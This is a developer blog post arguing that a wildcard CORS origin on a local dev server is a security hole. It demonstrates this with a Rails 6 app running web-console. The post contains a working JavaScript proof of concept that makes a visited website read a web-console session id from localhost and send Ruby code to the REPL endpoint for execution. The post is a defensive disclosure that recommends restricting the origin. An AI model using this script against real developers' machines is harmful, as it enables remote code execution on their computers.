PSA: CORS allow origin * considered harmful in development.

CORS allow origin * is a security hole, even in development.

PSA: CORS allow origin * considered harmful in development.

tl;dr
You’re busy, CORS is boring, and you have a feature that needed to ship yesterday. Even so, you should specify your origin in development instead of allowing any with “*”.

——————-

For most people, the security of your development environment is an afterthought. Theoretically, there’s no outside access, so why worry about security?

  • Web frameworks can display helpful error pages that include backtraces, value inspection, and environment variables. And since those can leak secrets, the docs for these frameworks have big red warnings reminding you not to use development mode in production.
  • Libraries like web-console give you a live REPL debugging session at the line that caused the error. Clearly, an open shell in production on the internet would lead to a compromised server in short order.
  • A proper firewall setup ensures that the developer is the only one who has access to the local development server. That way the developer can focus on productivity without also worrying about security.

Here’s the rub though. When you open a website, the browser does not prevent that site from sending AJAX HTTP requests to localhost. Typically, this request wouldn’t accomplish much since it’s a cross-site request.

That is unless you configured the Access-Control-Allow-Origin header to return “*”.

Most developers understand the risks of that configuration in production, but we often don’t think of its implications for our local dev environment.

Allowing any origin may have seemed like a simple convenience or quick debugging step at the time, but it leaves a door unlocked and jeopardizes the security of your dev server. The worst-case scenario is that you visit a site with malicious code that uses the unlocked door to run arbitrary code that compromises your box.

I created a small repo to demonstrate. It’s a bare-bones Rails 6 app created with “rails new”. By default, a fresh Rails setup adds the web-console in the gemfile. The only other piece I’ve added is the CORS gem with a configuration to allow any origin.

With the development server running, any public-facing HTTP site (not HTTPS due to mixed content policy) we visit can execute arbitrary commands with the following code:


let main = async () =>; {
  // Hit a non existing path to raise 404 error page
  let url = "http://localhost:3000/zxcklvjj283asdhzz1";
  let html = await fetch(url).then(response => {
    return response.text();
  });

  // Extract the web-console session id from the response
  let regex = /data-session-id='(.*)'/g;
  let match = regex.exec(html);
  let sessionId = match[1];

  // This endpoint will accept arbitrary commands
  let consoleUrl = "http://localhost:3000/__web_console/repl_sessions/" + sessionId;

  // We'll get the host to evaluate some simple math in ruby.
  // But with an open shell on the host this could be anything sinister
  let evilCommand = encodeURIComponent("1233 + 1");

  let headers = {
    "content-type": "application/x-www-form-urlencoded",
    "x-requested-with": "XMLHttpRequest"
  };

  let output = await fetch(consoleUrl, {
    headers: headers,
    body: `input=${evilCommand}`,
    method: "PUT"
  }).then(response => {
    return response.text();
  });

  // In the encoded response you'll see the evil command was evaluated
  // and returned the expected output 1234
  console.log(output);
};

main();

You could make the argument that a shell session shouldn’t be available in the browser. But that’s not a full treatment.

If your dev server shares environment variables through those helpful error pages, that’s another vector for compromise. And even if your development server doesn’t do that, this is still a place where you actively write code.

In a dev environment, you should be able to disable auth or write insecure code for debugging without fear of repercussions that might arise from browsing other sites.

The solution is to keep origin locked down to localhost even in development. Then you’re free to disregard the concerns raised in this post.

Special thanks to this post which deals with an adjacent concern and got my wheels turning: Stealing Secrets from Developers Using Websockets

Leave a comment

Leave a Reply

Your email address will not be published. Required fields are marked *

More Insights

View All